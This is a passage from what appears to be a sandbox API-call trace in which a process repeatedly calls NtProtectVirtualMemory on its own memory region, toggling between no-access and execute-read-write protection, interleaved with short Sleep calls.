(dwMilliseconds=0x5) [0138.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.312] Sleep (dwMilliseconds=0x5) [0138.319] Sleep (dwMilliseconds=0x5) [0138.347] Sleep (dwMilliseconds=0x5) [0138.355] Sleep (dwMilliseconds=0x5) [0138.368] Sleep (dwMilliseconds=0x5) [0138.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.395] Sleep (dwMilliseconds=0x5) [0138.404] Sleep (dwMilliseconds=0x5) [0138.417] Sleep (dwMilliseconds=0x5) [0138.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.436] Sleep (dwMilliseconds=0x5) [0138.446] Sleep (dwMilliseconds=0x5) [0138.472] Sleep (dwMilliseconds=0x5) [0138.480] Sleep (dwMilliseconds=0x5) [0138.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.522] Sleep (dwMilliseconds=0x5) [0138.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.563] Sleep (dwMilliseconds=0x5) [0138.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.607] Sleep (dwMilliseconds=0x5) [0138.618] Sleep (dwMilliseconds=0x5) [0138.631] Sleep (dwMilliseconds=0x5) [0138.649] Sleep (dwMilliseconds=0x5) [0138.666] Sleep (dwMilliseconds=0x5) [0138.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.684] Sleep (dwMilliseconds=0x5) [0138.702] Sleep (dwMilliseconds=0x5) [0138.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.753] Sleep (dwMilliseconds=0x5) [0138.823] Sleep (dwMilliseconds=0x5) [0138.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.947] Sleep (dwMilliseconds=0x5) [0139.013] Sleep (dwMilliseconds=0x5) [0139.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.086] Sleep (dwMilliseconds=0x5) [0139.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.128] Sleep (dwMilliseconds=0x5) [0139.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.172] Sleep (dwMilliseconds=0x5) [0139.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.222] Sleep (dwMilliseconds=0x5) [0139.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.378] Sleep (dwMilliseconds=0x5) [0139.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.423] Sleep (dwMilliseconds=0x5) [0139.459] Sleep (dwMilliseconds=0x5) [0139.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.511] Sleep (dwMilliseconds=0x5) [0139.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.561] Sleep (dwMilliseconds=0x5) [0139.599] Sleep (dwMilliseconds=0x5) [0139.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.653] Sleep (dwMilliseconds=0x5) [0139.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.703] Sleep (dwMilliseconds=0x5) [0139.709] Sleep (dwMilliseconds=0x5) [0139.732] Sleep (dwMilliseconds=0x5) [0139.742] Sleep (dwMilliseconds=0x5) [0139.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.765] Sleep (dwMilliseconds=0x5) [0139.774] Sleep (dwMilliseconds=0x5) [0139.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.791] Sleep (dwMilliseconds=0x5) [0139.848] Sleep (dwMilliseconds=0x5) [0139.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0139.892] Sleep (dwMilliseconds=0x5) [0139.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.934] Sleep (dwMilliseconds=0x5) [0139.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.978] Sleep (dwMilliseconds=0x5) [0139.995] Sleep (dwMilliseconds=0x5) [0140.007] Sleep (dwMilliseconds=0x5) [0140.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.027] Sleep (dwMilliseconds=0x5) [0140.040] Sleep (dwMilliseconds=0x5) [0140.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.059] Sleep (dwMilliseconds=0x5) [0140.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.096] Sleep (dwMilliseconds=0x5) [0140.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.153] Sleep (dwMilliseconds=0x5) [0140.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.201] Sleep (dwMilliseconds=0x5) [0140.207] Sleep (dwMilliseconds=0x5) [0140.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.229] Sleep (dwMilliseconds=0x5) [0140.281] Sleep (dwMilliseconds=0x5) [0140.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.324] Sleep (dwMilliseconds=0x5) [0140.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.381] Sleep (dwMilliseconds=0x5) [0140.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.433] Sleep (dwMilliseconds=0x5) [0140.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.484] Sleep (dwMilliseconds=0x5) [0140.522] Sleep (dwMilliseconds=0x5) [0140.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.572] Sleep (dwMilliseconds=0x5) [0140.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.621] Sleep (dwMilliseconds=0x5) [0140.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.665] Sleep (dwMilliseconds=0x5) [0140.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.718] Sleep (dwMilliseconds=0x5) [0140.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.765] Sleep (dwMilliseconds=0x5) [0140.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.825] Sleep (dwMilliseconds=0x5) [0140.878] Sleep (dwMilliseconds=0x5) [0140.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0140.935] Sleep (dwMilliseconds=0x5) [0140.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.979] Sleep (dwMilliseconds=0x5) [0141.019] Sleep (dwMilliseconds=0x5) [0141.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.077] Sleep (dwMilliseconds=0x5) [0141.122] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.123] Sleep (dwMilliseconds=0x5) [0141.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.167] Sleep (dwMilliseconds=0x5) [0141.208] Sleep (dwMilliseconds=0x5) [0141.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.297] Sleep (dwMilliseconds=0x5) [0141.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.341] Sleep (dwMilliseconds=0x5) [0141.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.398] Sleep (dwMilliseconds=0x5) [0141.411] Sleep (dwMilliseconds=0x5) [0141.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.430] Sleep (dwMilliseconds=0x5) [0141.441] Sleep (dwMilliseconds=0x5) [0141.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.481] Sleep (dwMilliseconds=0x5) [0141.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.523] Sleep (dwMilliseconds=0x5) [0141.566] Sleep (dwMilliseconds=0x5) [0141.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.606] Sleep (dwMilliseconds=0x5) [0141.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.647] Sleep (dwMilliseconds=0x5) [0141.664] Sleep (dwMilliseconds=0x5) [0141.674] Sleep (dwMilliseconds=0x5) [0141.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.696] Sleep (dwMilliseconds=0x5) [0141.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.742] Sleep (dwMilliseconds=0x5) [0141.783] Sleep (dwMilliseconds=0x5) [0141.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.822] Sleep (dwMilliseconds=0x5) [0141.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.909] Sleep (dwMilliseconds=0x5) [0141.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0141.999] Sleep (dwMilliseconds=0x5) [0142.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.093] Sleep (dwMilliseconds=0x5) [0142.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.143] Sleep (dwMilliseconds=0x5) [0142.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.196] Sleep (dwMilliseconds=0x5) [0142.244] Sleep (dwMilliseconds=0x5) [0142.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.335] Sleep (dwMilliseconds=0x5) [0142.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.388] Sleep (dwMilliseconds=0x5) [0142.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.429] Sleep (dwMilliseconds=0x5) [0142.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.476] Sleep (dwMilliseconds=0x5) [0142.516] Sleep (dwMilliseconds=0x5) [0142.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0142.559] Sleep (dwMilliseconds=0x5) [0142.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, 